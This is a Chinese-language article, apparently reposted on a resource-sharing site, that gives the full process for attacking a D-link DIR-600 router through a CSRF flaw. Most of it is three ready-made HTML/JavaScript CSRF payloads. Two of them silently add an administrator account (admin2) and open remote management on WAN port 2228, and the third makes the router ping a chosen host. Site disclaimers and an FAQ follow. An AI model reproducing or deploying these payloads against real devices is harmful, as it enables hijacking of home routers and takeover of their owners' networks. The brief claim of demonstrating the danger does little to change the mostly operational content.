使用CSRF漏洞攻击D-link路由器全过程
也想出现在这里？
联系我们吧
1，介绍
本文的目的是展示CSRF漏洞的危害，以D-link的DIR-600路由器（硬件版本：BX，固件版本：2.16）的CSRF漏洞为例。D-link的CSRF漏洞已经是公开的，本文将详细描述一下整个D-link CSRF漏洞的利用，如何通过CSRF漏洞实现远程管理访问D-link路由器。
2，CSRF漏洞说明
如果某些request请求中没有csrf token或不需要密码授权，会存在CSRF漏洞，该漏洞允许攻击者伪造登录用户发送请求，因此可以导致用户执行攻击者想要的操作请求。通过D-link 管理面板的CSRF漏洞，攻击者可以做以下操作：
@1，添加一个新的管理帐号；@2，启用路由器的远程管理；@3，ping特定的机器；此操作只需要登录路由器就可以实现，需要知道路由器的WAN IP地址。
3，PART1:给路由器增加一个新的管理帐号
需要两个request请求来完成
REQUEST1:
复制代码
代码如下:
<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open(\”POST\”, \”http://192.168.0.1/hedwig.cgi\”, true); xhr.setRequestHeader(\”Accept\”, \”text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\”); xhr.setRequestHeader(\”Accept-Language\”, \”en-US,en;q=0.5\”); xhr.setRequestHeader(\”Content-Type\”, \”text/plain; charset=UTF-8\”); xhr.withCredentials = \”true\”; var body = \”<?xml version=\\\”1.0\\\” encoding=\\\”UTF-8\\\” ?>\”+\”<postxml>\”+ \”<module>\”+ \”<service>DEVICE.ACCOUNT</service>\”+ \”<device>\”+ \”<account>\”+ \”<seqno/>\”+ \”<max>1</max>\”+ \”<count>2</count>\”+ \”<entry>\”+ \”<name>admin</name>\”+ \”<password>==OoXxGgYy==</password>\”+ \”<group>0</group>\”+ \”<description/>\”+ \”</entry>\”+ \”<entry>\”+ \”<name>admin2</name>\”+ \”<password>pass2</password>\”+ \”<group>0</group>\”+ \”<description/>\”+ \”</entry>\”+ \”</account>\”+ \”<session>\”+ \”<captcha>0</captcha>\”+ \”<dummy/>\”+ \”<timeout>180</timeout>\”+ \”<maxsession>128</maxsession>\”+ \”<maxauthorized>16</maxauthorized>\”+ \”</session>\”+ \”</device>\”+ \”</module>\”+ \”<module>\”+ \”<service>HTTP.WAN-1</service>\”+ \”<inf>\”+ \”<web>2228</web>\”+ \”<weballow>\”+ \”<hostv4ip/>\”+ \”</weballow>\”+ \”</inf>\”+ \”</module>\”+ \”<module>\”+ \”<service>HTTP.WAN-2</service>\”+ \”<inf>\”+ \”<web>2228</web>\”+ \”<weballow>\”+ \”<hostv4ip/>\”+ \”</weballow>\”+ \”</inf>\”+ \”</module>\”+\”</postxml>\”; xhr.send(body); } </script><form action=\”#\”> <input type=\”button\” value=\”Submit request1\” onclick=\”submitRequest();\” /> </form> </body></html>
REQUEST2:
复制代码
代码如下:
<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open(\”POST\”, \”http://192.168.0.1/pigwidgeon.cgi\”, true); xhr.setRequestHeader(\”Accept\”, \”text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\”); xhr.setRequestHeader(\”Accept-Language\”, \”en-US,en;q=0.5\”); xhr.setRequestHeader(\”Content-Type\”, \”application/x-www-form-urlencoded; charset=UTF-8\”); xhr.withCredentials = \”true\”; var body = \”ACTIONS=SETCFG%2CSAVE%2CACTIVATE\”; xhr.send(body); } </script><form action=\”#\”> <input type=\”button\” value=\”Submit request2\” onclick=\”submitRequest();\” /> </form> </body></html>
REQUEST1和REQUEST2中，默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中，当密码字段为==OoXxGgYy==的时候，是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加，同时启用了远程管理端口2228.
PART2：ping特定的主机
REQUEST3:
复制代码
代码如下:
<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open(\”POST\”, \”http://192.168.0.1/diagnostic.php\”, true); xhr.setRequestHeader(\”Accept\”, \”text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\”); xhr.setRequestHeader(\”Accept-Language\”, \”en-US,en;q=0.5\”); xhr.setRequestHeader(\”Content-Type\”, \”application/x-www-form-urlencoded; charset=UTF-8\”); xhr.withCredentials = \”true\”; var body = \”act=ping&dst=X.Y.Z.W\”; xhr.send(body); } </script><form action=\”#\”> <input type=\”button\” value=\”Submit request3\” onclick=\”submitRequest();\” /> </form> </body></html>
只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。
1. 本站所提供的源码模板（主题/插件）等资源仅供学习交流，若使用商业用途，请购买正版授权，否则产生的一切后果将由下载用户自行承担，有部分资源为网上收集或仿制而来，若模板侵犯了您的合法权益，请来信通知我们（Email: rayer@88.com），我们会及时删除，给您带来的不便，我们深表歉意！
2. 分享目的仅供大家学习和交流，请不要用于商业用途！
3. 如果你也有好源码或者教程，可以到用户中心发布投稿，分享有金币奖励和额外收入！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务 请大家谅解！
5. 如有链接无法下载、失效或广告，请联系站长，可领回失去的金币，并额外有奖！
6. 如遇到加密压缩包，默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员！
本站部分文章、资源来自互联网，版权归原作者及网站所有，如果侵犯了您的权利，请及时联系我站删除。免责声明
资源分享吧 » 使用CSRF漏洞攻击D-link路由器全过程
2. 分享目的仅供大家学习和交流，请不要用于商业用途！
3. 如果你也有好源码或者教程，可以到用户中心发布投稿，分享有金币奖励和额外收入！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务 请大家谅解！
5. 如有链接无法下载、失效或广告，请联系站长，可领回失去的金币，并额外有奖！
6. 如遇到加密压缩包，默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员！
本站部分文章、资源来自互联网，版权归原作者及网站所有，如果侵犯了您的权利，请及时联系我站删除。免责声明
资源分享吧 » 使用CSRF漏洞攻击D-link路由器全过程
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用？
- 本站所有资源版权均属于原作者所有，这里所提供资源均只能用于参考学习用，请勿直接商用。若由于商用引起版权纠纷，一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权，根据DedeCMS授权协议，除个人非盈利站点外，均需购买DedeCMS商业使用授权。购买地址： http://www.desdev.cn/service-dedecms.html
